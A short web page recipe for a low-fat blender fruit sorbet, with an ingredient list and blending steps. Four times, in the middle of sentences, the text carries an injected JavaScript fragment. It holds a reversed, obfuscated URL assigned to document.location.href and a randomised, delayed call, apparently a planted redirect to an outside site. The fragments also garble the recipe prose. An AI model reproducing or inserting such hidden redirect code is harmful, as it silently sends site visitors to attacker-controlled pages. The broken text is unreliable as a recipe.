The Best Low-Fat Dessert Recipe

Kitchen -

Sorbet is a delicious frozen dessert that is generally made from a sweetener like sugar or honey and a fruit puree.  It also tends toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be lower in fat than other desserts because it contains no animal products toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to increase the fat content.

You will need these ingredients:

  • ¼ cup fruit juice
  • 2 tbsp granulated sugar, or sweetener of your choice
  • 2 tbsp corn syrup
  • 8 oz frozen fruit

Process:

First add the juice, sugar, corn syrup, and frozen fruit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Twister jar. Than blend using the Ice Cream cycle, or blend on a Low speed for 15 seconds, then blend on a Medium toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Medium-High speed for 30 seconds.

Serve immediately for a soft version, or freeze for 2-3 hours for a scoop-able sorbet.

Source: lookandthebeauty.com